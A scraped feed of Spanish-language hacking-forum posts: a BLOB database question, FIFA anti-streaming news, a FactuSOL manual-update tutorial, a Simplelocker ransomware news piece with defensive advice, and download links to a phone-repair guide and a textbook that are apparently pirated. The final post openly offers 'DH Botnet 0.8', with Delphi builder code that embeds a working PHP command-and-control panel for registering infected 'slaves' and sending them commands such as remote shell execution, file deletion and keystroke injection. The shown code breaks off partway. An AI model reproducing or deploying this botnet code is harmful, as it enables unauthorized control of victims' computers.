Quantcast
Channel: Comunidad Underground Hispana
Viewing all 11602 articles
Browse latest View live

BLOBS en base de datos

$
0
0
Buen día a todos.
Estaba leyendo sobre el tema de BLOBS (Binary Large Objects) en las bases de datos, me llamo la atención su uso pues apenas estoy empezando en esto de las bases de datos y en algun momento me plante la posibilidad de guardar en una base de datos música. Mi pregunta es cual seria la diferencia o las ventajas o desventajas de por ejemplo guardar el archivo de mp3 en un campo como BLOB y la de guardar la ruta en donde se encuentra el mp3 (la única diferencia que se me ocurre es sobre el tamaño de la base de datos).

Me gustaría que me dieran sus opiniones o si tienen algun página donde pueda encontrar más información sobre este tema.
Gracias de antemano.
(Puse este tema en esta seccion pero no sé si sea la adecuada :P)

La FIFA amena las webs de streaming: elimina los enlaces o atente a las consecuencias

$
0
0
.
El Mundial de Brasil comienza esta misma noche y la FIFA se prepara para una avalancha de streamings ilegales de los partidos que se jugarán cada día. ¿Y cómo se preparara este organismo?Enviando cartas a las principales webs de enlaces de streaming pidiéndole que estén preparados para retirarlos, si no quieren convertirse en responsables penales y civiles de las infracciones que, según la FIFA, están cometiendo.
.
TorrentFreak ha tenido acceso a uno de los emails enviados por la FIFA a los administradores. “Debido a la naturaleza de tu servicio, ancitipamos que un número importante de usuarios utilizarán tu web para crear, distribuir o enlazar a streams en directo de los partidos. Queremos asegurarnos de que todos los streams de estas características puedan ser rápidamente identificados y eliminados”, dice una parte del comunicado.
Este correo ha sido enviado en los últimos días a numerosas webs, que tienen hasta el día de hoy para cumplir con las peticiones de la FIFA. Peticiones entre las que se encuentra la necesidad de que las webs pongan a disposición de la FIFA una herramienta para que su software ‘anti piratería’, NetResult, pueda eliminar los contenidos que consideren ilegales inmediatamente. “Si no sigues nuestras indicaciones, serás responsable civil y criminal”, reza el email. El Mundial no ha comenzado, pero la FIFA tiene las pilas cargadas.
.
FUENTE:Genbeta

Tutorial - Como actualizar FACTUSOL... ¡¡¡A MANO!!!

$
0
0
LO HE CONSEGUIDO... ¡¡¡ A MANO !!!:rockerkck::rockerkck::rockerkck::rockerkck:

¡¡¡ YA NO SOY UNA INÚTIL !!! ^_^:_fel:

Como no me ha funcionado el magnífico tutorial de MaeseKamara con imágenes y todo, me he preparao una buena taza de café y me he puesto manos a la obra...

Voy de memoria, así que perdonad si algo no es exacto... LEED HASTA EL FINAL Y LUEGO VEREIS COMO LO HACEIS VOSOTROS...
:_ap:


Os pongo como lo hice yo, pero ya os digo que correcto al 100% no es POR LAS RUTAS, pero ESTÁ CORRECTAMENTE INSTALADO.

Posiblemente tendría que haberlo hecho todo en el MISMO DIRECTORIO Y OS AHORRAIS LOS "PROBLEMAS" QUE HE TENIDO YO....

PASOS COMO LO HICE YO

:_DD_002: 1 - Descargar (lo teneis en el tuto de MaeseKamara que os recomiendo que sigáis primero) el actuweb_FactuSOL_2014.sol y copiarlo a E:\FACTUSOL\_ORIGINALES

:_DD_002: 2 - Abrir un cmd COMO ADMINISTRADOR en esa carpeta

:_DD_002: 3 - Descomprimir el .sol (que es un .msi):

E:\FACTUSOL\_ORIGINALES>msiexec /a actuweb_FactuSOL_2014.sol /qb TARGETDIR=E:\FACTUSOL\2014

:_DD_002: 4.- Dentro de esa carpeta vuelve a haber un .sol, descomprimirlo también a otra carpeta temporal

E:\FACTUSOL\2014>mkdir tmp
E:\FACTUSOL\2014>msiexec /a actuweb_FactuSOL_2014.msi /qb TARGETDIR=E:\FACTUSOL\2014\tmp

:_DD_002: 5.- Aquí no me acuerdo de qué carpeta ejecuté el Factusol.exe:

E:\FACTUSOL\2014\Program Files\FactuSOL 2000\Factusol.exe
E:\FACTUSOL\2014\tmp\Program Files\FactuSOL 2000\Factusol.exe

pero recuerdo que me dió un error de que "Actualizacion.exe" no existía

Busqué por las carpetas y encontré un "ActualizadorServidor.exe", lo copié a donde lo pide como "Actualizacion.exe" y lo volví a arrancar.

:_DD_002: 6.- Arrancó, pero dio errores de que los componentes ActiveX no estaban instalados.

(Y aquí es donde pienso que hice mal... debería en este punto haber copiado todo a "C:")


:_DD_002: 7.- Copié la carpeta C:\Factusol 2000 a E:\FACTUSOL\2014\Program Files\FactuSOL 20011\ y la comprimí por si acaso...

:_DD_002: 8.- Instalé el Factusol 2014 normalmente en c:\Factusol 2000 sobrescribiendo para registrar los componentes ActiveX y demás...

:_DD_002: 9.- Teniendo una copia de los datos, copié todo los archivos NUEVOS sobre los antiguos

DE: E:\FACTUSOL\2014\Program Files\FactuSOL 2000 (msi descomprimida)
A: E:\FACTUSOL\2014\Program Files\FactuSOL 2011 (Copia de mi versión de 2011 con datos)

:_DD_002: 10.- Borré la carpeta vacía
E:\FACTUSOL\2014\Program Files\FactuSOL 2000

:_DD_002: 11.- Renombré la carpeta

E:\FACTUSOL\2014\Program Files\FactuSOL 2011 como
E:\FACTUSOL\2014\Program Files\FactuSOL 2000

:_DD_002: 12.- Arranqué el E:\FACTUSOL\2014\Program Files\FactuSOL 2000\Factusol.exe y me dijo que iba a actualizar la empresa de prueba... le dije ok...

:_DD_002: 13.- Como había arrancado todo correcto, en este punto creo recordar que lo copié todo sobrescribiendo a C:\Factusol 2000

:_DD_002: 14.- Arrancar normalmente Factusol y SELECCIONAR NUESTRA EMPRESA, y ya salta el instalador de actualizar a 2014...

:_DD_002: 15.- FIN......................................

¿fin? NO: Si vais al menú OPCIONES DE FACTUSOL veis que todo está instalado en
E:\FACTUSOL\2014\Program Files\FactuSOL 2000

Debió de ser porque lo hice todo ahí, pero como lo he copiado todo a C:, le doy a examinar y reemplazo las 3 rutas por
C:\FactuSOL 2000\Datos\
C:\FactuSOL 2000\Datos\Copia\
C:\FactuSOL 2000\Datos\Descargas\

:( peeeeeeeeeeeeeeeeeeeeeeerroooooooooooooooooooo...

Al volver a arrancar el programa me vuelve a decir que tiene que actualizar las bases de datos... lo hace y.... ¡¡¡listo!!!:_fel:

EMPRESAS ACTUALIZADAS Y FUNCIONANDO...

:_loc::_loc::_loc::_loc::_loc::_loc::_loc::_loc::_ loc::_loc::_loc::_loc::_loc:

ULTIMO PUNTO, USANDO EL FIREWALL DE WINDOWS (EN REGLAS AVANZADAS) HE BLOQUEADO A INTERNET el gestor de actualizaciones, el factusol, el descargas_factusol_Web, etc...


A ver quien
tiene ahora güebs de decir algo malo de las chicas...

:_bye: :_bye: :_bye:


Secuestro Virtual de Dispositivos Moviles

$
0
0
Pagas o te olvidas de tus datos

Un troyano se apodera de los datos en tu dispositivo móvil sin tú percatarte y cuando tratas de acceder a la información te sorprende un mensaje: o me pagas o te olvidas de tus datos.

Se trata de una nueva modalidad de ataque cibercriminal o secuestro virtual que está ganando terreno y que tiene como blanco a los usuarios de dispositivos móviles.
.
En ese contexto, la firma de seguridad eslava Eset advertía esta semana que había encontrado el primer caso confirmado de un troyano que ataca a los usuarios móviles de Android.
El troyano, llamado Simplelocker, tiene como blanco las tarjetas SD insertas en tabletas y teléfonos móviles, escanea ciertos tipos de archivos contenidos en éstas y los codifica, para luego demandar el pago de una suma para descodificarlos.
.
Mensaje en ruso
.
A los usuarios que fueron víctimas de este ataque en diversas partes del mundo -algunos en Rusia y Estados Unidos- les llegó un mensaje en ruso diciéndoles que el teléfono estaba bloqueado porque habían visto o distribuido pornografía infantil.
.
Y enseguida, se urgía a las víctimas a pagar el equivalente a US$22.00 a través de un sistema de transferencia financiera de Ucrania.
.
“Tras el pago, tu dispositivo será desbloqueado en un lapso de 24 horas. SI NO PAGAS PERDERAS TODOS LOS DATOS ALMACENADOS EN TU DISPOSITIVO”, decía con énfasis en mayúsculas.
.
Según Eset, los datos de los usuarios habían sido almacenados en servidores de los cibercriminales conectados a una parte secreta de la internet llamada Tor, lo cual ha dificultado el rastreo de estos hackers o atacantes.
.
Cómo te atacan
.
David Cuen señala que estos troyanos pueden entrar al teléfono o tableta cuando se instala una aplicación que no proviene de la tienda de apps del sistema en cuestión, en este caso de Google.
Algunas de esas aplicaciones pretenden que te van a ayudar a hacer algo, pero en el fondo está corriendo en el teléfono un programa que tú no ves, codificando todos tus datos, poniéndoles una clave”, explica.
.
Y la próxima vez que el usuario trata de acceder a la información, “el teléfono le pide una contraseña que éste no tiene, pero como la aplicación se conecta a internet, mandó la información a este cracker o cibercriminal que te manda un mensaje, ‘tengo control de tu información, si quieres la contraseña para recuperarla necesitas pagarme esta suma’”.
.
Cómo defenderse
.
“Sólo instala aplicaciones que provienen de los distintos sistemas operativos o de fuentes fiables.
.
También es importante tener ” contraseñas actualizadas, y diferentes para diversos servicios, y tratar de cambiar la contraseña cada tres meses”.
.
Y además es clave respaldar la información en diferentes servicios.
.
“Hay una cantidad de servicios que son gratuitos en la web. Los usuarios deben ser cada vez más cuidadosos y respaldar la información.
.
Ademas, el experto en seguridad digital Robert Lipovsky recomienda no pagara los cibercriminales que secuestran datos, “no sólo porque esto da más municiones a los cibercriminales para continuar estos ataques, sino porque no hay garantías de que van a cumplir con su palabra”.
.
Fuente: bbc

Guia de Reparacion de Telefonos Moviles: (Reparacion, funcionamiento y Caracteristica

$
0
0


Coleccion de articulos que nos enseñara mas acerca de como funciona nuestro celular, las caracteristicas del mismo y lo mas importante de todo como podemos repararlo nosotros mismo, aumque hay que ser bastante cuidadoso en esta ultima parte ademas de tener unos conocimientos basicos en electronica.

Algunos de los temas tratados son:

1) Definiciones y Tecnologias de Celulares
2) Telefonia Celular
3) Conozca los Telfonos Celulares, Tecnologia
4) Qu es CDMA
5) Funcionamiento del Telefono
6) Que es FDM y TDM -Definiciones y Fundamentos
7) ClonaciOn o Desbloqueo.............

Y varios otros temas mas...........




Activado Hybrid traffic en Uploaded (Descarga como Premium Gratis 24 desde la publicacion)

reparacelus.Uceldado.rar (110,46 MB) - uploaded.net



Disfruta de la descarga ;)

Mecatronica – W.Bolton [Alfaomega][2° edicion] [PDF/DOC]

$
0
0


Contenido:

Prefacio
1 Mecatronica
1.1 ¿Ques es la mecatronica?
1.2 Sistemas
1.3 Sistemas de medicion
1.4 Sistemas de control
1.5 Controladores basados eb un microprocesador
1.6 Enfoque de la mecatronica
Problemas

2. Sensores y transductores
2.1 Sensores y transductores
2.2 Terminologia del funcionamiento
2.3 Desplazamiento, pocision y proximidad
2.4 Velocidad y movimiento
2.5 Fuerza
2.6 Presion de fluidos
2.7 Flujo de liquidos
2.8 Nivel de liquidos
2.9 Temperatura
2.10 Sensores de luz
2.11 Selecciones de sensores
2.12 Introduccion de datos mediante interruptores
Problemas

3. Acondicionamiento de señales
3.1 Acondicionamiento de señales
3.2 El aplificador operacional
3.3 Proteccion
3.4 Filtrado
3.5 El puente de Wheatstone
3.6 Señales Digitales
3.7 Multiplexores
3.8 Adquisicion de datos
3.9 Procesamiento de señales digitales
3.10 Modulacion de pulsos
Problemas

4. Sistemas de presentacion de datos
4.1 Dispositivos para presentacion visual
4.2 Elementos para la presentacion de datos
4.3 Grabaciones magneticas
4.4 Visualizadores
4.5 Sistemas de asquisicion de datos
4.6 Sistemas de medicion
4.7 Prueba y calibracion
Problemas

5. Sistemas de actuadores neumaticos e hidraulicos
5.1 Ssitemas de actuadores
5.2 Sistemas neumaticos e hidraulicos
5.3 Valvulas para contol de direccion
5.4 Valvulas para el control de presion
5.5 Cilindors
5.6 Valvuñas para el control de procesos
5.7 Actuadores giratorios
Problemas

6. Ssitemas de actuacion mecanica
6.1 Sistemas mecanicos
6.2 Tipos de movimiento
6.3 Cadenas cineticas
6.4 Levas
6.5 Trenes de engranes
6.6 Rueda dentada y triquete
6.7 Transmision por correa y cadena
6.8 Chumaceras
6.9 Aspectos mecanicos de la seleccion de un motor
Problemas

7. Sistemas de actuacion electrica
7.1 Sistema electricos
7.2 Interruptores mecanicos
7.3 Interruptores de estasolido
7.4 Solenoides
7.5 Motores de ed
7.6 Motores de ca
7.7 Motores de paso a paso
Problemas

8. Modelos de sistemas basicos
8.1 Modelos matematicos
8.2 Elementos basicos de sistemas mecanicos
8.3 Elementos basico de sistemas electricos
8.4 Elementos basicos de sistemas de fluidos
8.5 Elementos basicos de los sitemas termicos
Problemas

9. Modelado de sistemas
9.1 Sistemas de ingenieria
9.2 Sistemas de giro-traslacion
9.3 Sistemas electromecanicos
9.4 Ssitemas hidraulico-mecanicos
Problemas

10. Respuestas dinamicas de sistemas
10.1 Modelado de sistemas dinamicos
10.2 Sistemas de primer orden
10.3 Sistemas de segundo orden
10.4 Formas de medir el comportamiento de los sistemas de seundo orden
Problemas

11. Funciones de transferencia de sistemas
11.1 La funcion de transferencia
11.2 Ssitemas de primer orden
11.3 Sistemas de segundo orden
11.4 Sitemas en serie
11.5 Sistemas con lazos de retroalimentacion
11.6 Efecto de la ubiccacion de los polos en la respuesta transitoria
11.7 MATLAB y SIMULINK
Problemas

12. Respuestas en frecuencia
12.1 Entrada senoidal
12.2 Fasores
12.3 Respuestas en frecuencia
12.4 Graficas de Bode
12.5 Especificaciones de comportamiento
12.6 Estabilidad
Problemas

13. Controladores en lazo cerrado
13.1 Procesos continuos y discretos
13.2 Modos de control
13.3 Modos de dos posiciones
13.4 Modo proporcional
13.5 Control derivativo
13.6 Control integral
13.7 Controlador PID
13.8 Controladores digitales
13.9 Comportamiento de los sistemas de control
13.10 Sintonizacion
13.11 Control de velocidad
13.12 Control adaptable
Problemas

14.1 Logical digital
14.2 Sistemas numericos
14.3 Compuertas logicas
14.4 Algebra booleana
14.5 Mapas de Karnaugh
14.6 Aplicaciones de las compuertas logicas
14.7 Logica secuencial
Problemas

15. Microprocesadores
15.1 Control
15.2 Estructura de un microprocesadores
15.3 Microcontroladores
15.4 Aplicaciones
15.5 Programacion
Problemas

16 Lenguaje ensabladores
16.1 Lenguajes
16.2 Conjutos de intrucciones
16.3 Programas en lenguaje ensamblador
16.4 Subrutinas
Problemas

17. Lenguaje C
17.1 ¿Por que el lenguaje C?
17.2 Estructura de un programa
17.3 Control de flujo y ciclos
17.4 Arreglos
17.5 Apuntadores
17.6 Diseño de programas
17.7 Ejemplos de programas
Problemas

18. Sistemas de entrada/salida
18.1 Interfaces
18.2 Puertos de entradas/salidas
18.3 Requisitos de una interfaz
18.4 Adaptador de interfaz para dispositivos periferico
18.5 Interfaz para comunicaciones en serie
18.6 Ejemplos de acoplamiento mediante interfaz
Problemas

19. Controladores logicos programables
19.1 Controladores logicos programables
19.2 Estructura basica
19.3 Procesamiento de la entrada/salida
19.4 Programacion
19.5 Mnemonicos
19.6 Temporizadores, relevadores y contadores internos
19.7 Registros de corrimiento
19.8 Controles maestros y de salto
19.9 Manejo de datos
19.10 Entrada/salida analogica
19.11 Seleccion de un PLC
Problemas

20. Sitemas de comunicacion
20.1 Comunicaciones digitales
20.2 Control centralizado, jerarquico y distribuido
20.3 Redes
20.4 Procolos
20.5 Modelo de comunicacion de interconexion de sistemas abiertos
20.6 Interfaces de comunicacion
Problemas

21. Localizacion de fallas
21.1 Tecnicas para detecccion de fallas
21.2 Temporizador vigilante
21.3 Verficacion de paridad y de codificacion de errores
21.4 Fallas comunes en el hardware
21.5 Sistemas de micropocesadores
21.6 Emulacion y simultacion
21.7 Sitemas PLC
Problemas

22. Diseño y mecatronica
22.1 Diseño
22.2 Posibles soluciones de diseño
22.3 Estudios de casos de sistemas mecatronicos
Problemas y trabajos

Apendice: la transformada de Laplace
A.1 La transformacion de Laplace
A.2 Escalones y pulsos unitarios
A.3 Transformada de Laplace de funciones estandar
A.4 Transformada inversa
Informacion adicional
Respuestas



Activado Hybrid traffic en Uploaded (Descarga como Premium Gratis 24 desde la publicacion)

W.Bolton-Mecatronica.Ucelda…rar (102,49 MB) - uploaded.net



Disfruta de la descarga ;)

[Delphi] DH Botnet 0.8

$
0
0
Version final de esta botnet con las siguientes opciones :

[+] Ejecucion de comandos
[+] Listar procesos activos
[+] Matar procesos
[+] Listar archivos de un directorio
[+] Borrar un archivo o directorio cualquiera
[+] Leer archivos
[+] Abrir y cerrar lectora
[+] Ocultar y mostrar programas del escritorio
[+] Ocultar y mostrar Taskbar
[+] Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
[+] Hacer que el teclado escriba solo
[+] Volver loco al mouse haciendo que se mueva por la pantalla

Unas imagenes :





Un video con un ejemplo de uso :



Los codigos :

El generador :

Código:

// DH Botnet 0.8
// (C) Doddy Hackman 2014

unit gen;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  Vcl.ExtCtrls,
  Vcl.Imaging.pngimage, Madres, IdHash, IdHashMessageDigest;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    StatusBar1: TStatusBar;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    pagina: TEdit;
    GroupBox3: TGroupBox;
    timeout_pagina: TEdit;
    GroupBox4: TGroupBox;
    GroupBox5: TGroupBox;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    host_mysql: TEdit;
    user_mysql: TEdit;
    pass_mysql: TEdit;
    db_mysql: TEdit;
    GroupBox6: TGroupBox;
    GroupBox7: TGroupBox;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    username_login: TEdit;
    password_login: TEdit;
    timeout_login: TEdit;
    GroupBox8: TGroupBox;
    GroupBox9: TGroupBox;
    GroupBox10: TGroupBox;
    Button1: TButton;
    GroupBox11: TGroupBox;
    Memo1: TMemo;
    Image1: TImage;
    Image2: TImage;
    Image3: TImage;
    GroupBox12: TGroupBox;
    Button2: TButton;
    ruta_icono: TEdit;
    OpenDialog1: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  try

    begin
      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);
    end;
  except
    //
  end;

end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function md5_encode(const texto: String): String;
var
  makemd5: TIdHashMessageDigest5;
begin
  makemd5 := TIdHashMessageDigest5.Create;
  Result := LowerCase(makemd5.HashStringAsHex(texto));

end;

//

procedure TForm1.Button1Click(Sender: TObject);
begin

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';

  if OpenDialog1.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog1.filename);
    ruta_icono.Text := OpenDialog1.filename;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  lineafinal: string;
  stubgenerado: string;
  change: DWORD;
  valor: string;

  codigo_botnet: string;

begin

  codigo_botnet := '<?php'+sLineBreak+
' '+sLineBreak+
'// DH Botnet'+sLineBreak+
'// Version 0.8'+sLineBreak+
'// Coded By Doddy H'+sLineBreak+
' '+sLineBreak+
'// Datos'+sLineBreak+
' '+sLineBreak+
'$username = "ACA_VA_TU_USER";'+sLineBreak+
'$password = "ACA_VA_TU_PASSWORD_EN_MD5";'+sLineBreak+
'$host = "ACA_VA_EL_HOST";'+sLineBreak+
'$userw = "ACA_VA_EL_USER";'+sLineBreak+
'$passw = "ACA_VA_EL_PASS";'+sLineBreak+
'$db = "ACA_VA_EL_NOMBRE";'+sLineBreak+
'$tiempo_de_carga = "ACA_VA_EL_TIEMPO_DE_CARGA";'+sLineBreak+
' '+sLineBreak+
'//'+sLineBreak+
' '+sLineBreak+
'// Start the party'+sLineBreak+
' '+sLineBreak+
'error_reporting(0);'+sLineBreak+
'mysql_connect($host, $userw, $passw);'+sLineBreak+
'mysql_select_db($db);'+sLineBreak+
' '+sLineBreak+
'//'+sLineBreak+
' '+sLineBreak+
'// Registro'+sLineBreak+
'if (isset($_POST[''entradatrasera''])) {'+sLineBreak+
'    $key = mysql_real_escape_string($_POST[''key'']);'+sLineBreak+
'    $ip = mysql_real_escape_string($_POST[''ip'']);'+sLineBreak+
'    $pais = mysql_real_escape_string($_POST[''pais'']);'+sLineBreak+
'    $username = mysql_real_escape_string($_POST[''username'']);'+sLineBreak+
'    $os = mysql_real_escape_string($_POST[''os'']);'+sLineBreak+
'    $timeout = mysql_real_escape_string($_POST[''timeout'']);'+sLineBreak+
'    $control = 0;'+sLineBreak+
'    $rea = mysql_query("select clave from slaves");'+sLineBreak+
'    while ($ver = mysql_fetch_array($rea)) {'+sLineBreak+
'        if ($ver[0] == $key) {'+sLineBreak+
'            $control = 1;'+sLineBreak+
'        }'+sLineBreak+
'    }'+sLineBreak+
'    if ($control == 0) {'+sLineBreak+
'        mysql_query("INSERT INTO slaves(id,clave,ip,pais,user,os,timeout)values(NULL,''$key'',''$ip'',''$pais'',''$username'',''$os'',''$timeout'')");'+sLineBreak+
'        mysql_query("INSERT INTO ordenes(id,clave)values(NULL,''$key'')");'+sLineBreak+
'    }'+sLineBreak+
'}'+sLineBreak+
'//'+sLineBreak+
'// Bots siguen vivos'+sLineBreak+
'if (isset($_POST[''sigovivo''])) {'+sLineBreak+
'    $clave = mysql_real_escape_string($_POST[''clavenow'']);'+sLineBreak+
'    mysql_query("UPDATE slaves set estado=''1'' where clave=''$clave''");'+sLineBreak+
'}'+sLineBreak+
'// Bots mandan rta'+sLineBreak+
'if (isset($_POST[''mandocarajo''])) {'+sLineBreak+
'    $clave = mysql_real_escape_string($_POST[''miclave'']);'+sLineBreak+
'    $rta = mysql_real_escape_string($_POST[''mirta'']);'+sLineBreak+
'    mysql_query("UPDATE ordenes set rta=''$rta'' where clave=''$clave''");'+sLineBreak+
'}'+sLineBreak+
'//'+sLineBreak+
'// Ordenes para bots'+sLineBreak+
'if (isset($_POST[''ordenespabots''])) {'+sLineBreak+
'    $h = mysql_real_escape_string($_POST[''clave'']);'+sLineBreak+
'    $rea = mysql_query("select * from ordenes where clave=''$h''");'+sLineBreak+
'    $ver = mysql_fetch_array($rea);'+sLineBreak+
'    $id = mysql_real_escape_string($ver[0]);'+sLineBreak+
'    $clave = mysql_real_escape_string($ver[1]);'+sLineBreak+
'    $orden = mysql_real_escape_string($ver[2]);'+sLineBreak+
'    $arg1 = mysql_real_escape_string($ver[3]);'+sLineBreak+
'    $arg2 = mysql_real_escape_string($ver[4]);'+sLineBreak+
'    $arg3 = mysql_real_escape_string($ver[5]);'+sLineBreak+
'    $rta = mysql_real_escape_string($ver[6]);'+sLineBreak+
'    echo "[+] ID : " . htmlentities($id) . "<br>";'+sLineBreak+
'    echo "[+] Clave : " . htmlentities($clave) . "<br>";'+sLineBreak+
'    echo "[+] Orden : " . htmlentities($orden) . "<br>";'+sLineBreak+
'    echo "[+] Arg1 : " . htmlentities($arg1) . "<br>";'+sLineBreak+
'    echo "[+] Arg2 : " . htmlentities($arg2) . "<br>";'+sLineBreak+
'    echo "[+] Arg3 : " . htmlentities($arg3) . "<br>";'+sLineBreak+
'    echo "[+] Rta : " . htmlentities($rta) . "<br>";'+sLineBreak+
'}'+sLineBreak+
'//'+sLineBreak+
'// Main'+sLineBreak+
'elseif (isset($_COOKIE[''portal''])) {'+sLineBreak+
'    colores();'+sLineBreak+
'    $st = base64_decode($_COOKIE[''portal'']);'+sLineBreak+
'    $plit = preg_split("/@/", $st);'+sLineBreak+
'    $user = $plit[0];'+sLineBreak+
'    $pass = $plit[1];'+sLineBreak+
'    if ($user == $username and $pass == $password) {'+sLineBreak+
'        echo "<title>DH Botnet 0.8</title>";'+sLineBreak+
'        if (isset($_POST[''instalar''])) {'+sLineBreak+
'            $todo = "'+sLineBreak+
'create table slaves ('+sLineBreak+
'id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,'+sLineBreak+
'clave TEXT NOT NULL,'+sLineBreak+
'ip TEXT NOT NULL,'+sLineBreak+
'pais TEXT NOT NULL,'+sLineBreak+
'user TEXT NOT NULL,'+sLineBreak+
'os TEXT NOT NULL,'+sLineBreak+
'timeout TEXT NOT NULL,'+sLineBreak+
'estado TEXT NOT NULL,'+sLineBreak+
'PRIMARY KEY (id)'+sLineBreak+
');'+sLineBreak+
'";'+sLineBreak+
'            $todo2 = "'+sLineBreak+
'create table ordenes ('+sLineBreak+
'id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,'+sLineBreak+
'clave TEXT NOT NULL,'+sLineBreak+
'orden TEXT NOT NULL,'+sLineBreak+
'arg1 TEXT NOT NULL,'+sLineBreak+
'arg2 TEXT NOT NULL,'+sLineBreak+
'arg3 TEXT NOT NULL,'+sLineBreak+
'rta TEXT NOT NULL,'+sLineBreak+
'PRIMARY KEY (id)'+sLineBreak+
');'+sLineBreak+
'";'+sLineBreak+
'            if (mysql_query($todo)) {'+sLineBreak+
'                if (mysql_query($todo2)) {'+sLineBreak+
'                    echo "<script>alert(''Installed'');</script>";'+sLineBreak+
'                }'+sLineBreak+
'            } else {'+sLineBreak+
'                echo "<script>alert(''Error'');</script>";'+sLineBreak+
'            }'+sLineBreak+
'        }'+sLineBreak+
'        if (mysql_num_rows(mysql_query("show tables like ''slaves''"))) {'+sLineBreak+
'            // TODO EL CODIGO DEL MENU'+sLineBreak+
'            if (isset($_POST[''about''])) {'+sLineBreak+
'                echo "'+sLineBreak+
'<center>'+sLineBreak+
' '+sLineBreak+
'<h1>[++] Commands :</h1><br><br>'+sLineBreak+
' '+sLineBreak+
'<h2>'+sLineBreak+
'CMD [command]<br>'+sLineBreak+
'GetProcess<br>'+sLineBreak+
'KillProcess [pid]<br>'+sLineBreak+
'ListDir [directory]<br>'+sLineBreak+
'Delete [file]<br>'+sLineBreak+
'OpenFile [file]<br>'+sLineBreak+
'OpenCD <br>'+sLineBreak+
'CloseCD<br>'+sLineBreak+
'HideIcons<br>'+sLineBreak+
'ShowIcons<br>'+sLineBreak+
'HideTaskbar<br>'+sLineBreak+
'ShowTaskbar<br>'+sLineBreak+
'OpenWord [text]<br>'+sLineBreak+
'SendKeys [text]<br>'+sLineBreak+
'CrazyMouse [time]<br>'+sLineBreak+
'</h2>'+sLineBreak+
'<br><br><br>";'+sLineBreak+
'                echo ''<a href="javascript:history.back()"><h1>Back</h1></a></center>'';'+sLineBreak+
'                exit(1);'+sLineBreak+
'            }'+sLineBreak+
'            if (isset($_GET[''borrar''])) {'+sLineBreak+
'                $id = $_GET[''borrar''];'+sLineBreak+
'                if (is_numeric($id)) {'+sLineBreak+
'                    if (@mysql_query("delete from slaves where id=''$id''")) {'+sLineBreak+
'                        if (@mysql_query("delete from ordenes where id=''$id''")) {'+sLineBreak+
'                            echo "<script>alert(''Deleted'');</script>";'+sLineBreak+
'                            echo "<META HTTP-EQUIV=''Refresh'' CONTENT=''0;URL=?''>";'+sLineBreak+
'                        }'+sLineBreak+
'                    }'+sLineBreak+
'                } else {'+sLineBreak+
'                    echo "<script>alert(''DIE MOTHER FUCKER'');</script>";'+sLineBreak+
'                }'+sLineBreak+
'            }'+sLineBreak+
'            if (isset($_GET[''console''])) {'+sLineBreak+
'                $id = $_GET[''console''];'+sLineBreak+
'                if (is_numeric($id)) {'+sLineBreak+
'                    $re = mysql_query("select * from ordenes where id=''$id''");'+sLineBreak+
'                    $ver = mysql_fetch_array($re);'+sLineBreak+
'                    echo "<center><br><h1>Console</h1><br>";'+sLineBreak+
'                    echo "<center><textarea cols=80 rows=40 name=code>";'+sLineBreak+
'                    echo htmlentities($ver[6]);'+sLineBreak+
'                    echo "</textarea></center><br>";'+sLineBreak+
'                    echo ''<a href="javascript:history.back()"><h1>Back</h1></a></center>'';'+sLineBreak+
'                    // ACTUALIZAR A NADA'+sLineBreak+
'                    mysql_query("UPDATE ordenes set orden='''',arg1='''',arg2='''',arg3='''',rta='''' where id=" . $id);'+sLineBreak+
'                    exit(1);'+sLineBreak+
'                } else {'+sLineBreak+
'                    echo "<script>alert(''DIE MOTHER FUCKER'');</script>";'+sLineBreak+
'                }'+sLineBreak+
'            }'+sLineBreak+
'            if (isset($_POST[''mandarcmd''])) { // MUY IMPORTANTE'+sLineBreak+
'                $op = mysql_real_escape_string($_POST[''options'']);'+sLineBreak+
'                $id = mysql_real_escape_string($_POST[''idiotas'']);'+sLineBreak+
'                $orden1 = mysql_real_escape_string($_POST[''cmd1'']);'+sLineBreak+
'                $orden2 = mysql_real_escape_string($_POST[''cmd2'']);'+sLineBreak+
'                $orden3 = mysql_real_escape_string($_POST[''cmd3'']);'+sLineBreak+
'                mysql_query("UPDATE ordenes set orden=''$op'',arg1=''$orden1'',arg2=''$orden2'',arg3=''$orden3'' where id=" . $id);'+sLineBreak+
'                $re = mysql_query("select * from slaves where id=''$id''");'+sLineBreak+
'                $ver = mysql_fetch_array($re);'+sLineBreak+
'                $timeout = $ver[6];'+sLineBreak+
'                $timeout = $timeout + $tiempo_de_carga;'+sLineBreak+
